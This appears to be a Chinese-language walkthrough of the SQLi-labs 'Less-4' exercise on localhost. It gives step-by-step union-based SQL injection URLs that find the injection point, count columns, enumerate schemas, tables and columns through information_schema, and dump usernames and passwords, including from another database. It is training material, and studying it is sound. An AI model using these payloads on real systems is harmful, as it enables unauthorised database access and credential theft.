1、判断是否动、静态页面
http://localhost:9898/Less-4/?/id=2;可以判断参数是id,id值不一样,显示页面不同
2.判断是否存在注入
可用\号来查看构造闭合,分别用http://localhost:9898/Less-4/?id=1") and 1=1-- qwe和http://localhost:9898/Less-4/?id=1") and 1=2-- qwe来进行探测
3.判断字段数
用order by判断字段数(二分法)
http://localhost:9898/Less-4/?id=1") order by 10-- qwe
经过二分法发现字段数为3。
4.判断显错位
http://localhost:9898/Less-4/?id=999") union select 1,2,3-- qwe
5.判断库名和数据库版本
http://localhost:9898/Less-4/?id=999") union select 1,version(),database()-- qwe
数据库版本为5.0,当前数据库库名security。
6.判断表名
http://localhost:9898/Less-4/?id=999") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- qwe
7.判断列名
http://localhost:9898/Less-4/?id=999") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- qwe
8.寻找具体数据
http://localhost:9898/Less-4/?id=999") union select 1,group_concat(username),group_concat(password) from users-- qwe
上列结果便是获取security数据库的用户和密码。
注入旁库
?id=999") union select 1,group_concat(schema_name),3 from information_schema.schemata-- qwe
?id=999") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='root'-- qwe
?id=999") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='root' and table_name='users'-- qwe
?id=9999") union select 1,group_concat(user),group_concat(password) from root.users-- qwe
上列结果是旁库获取root数据库中用户和密码。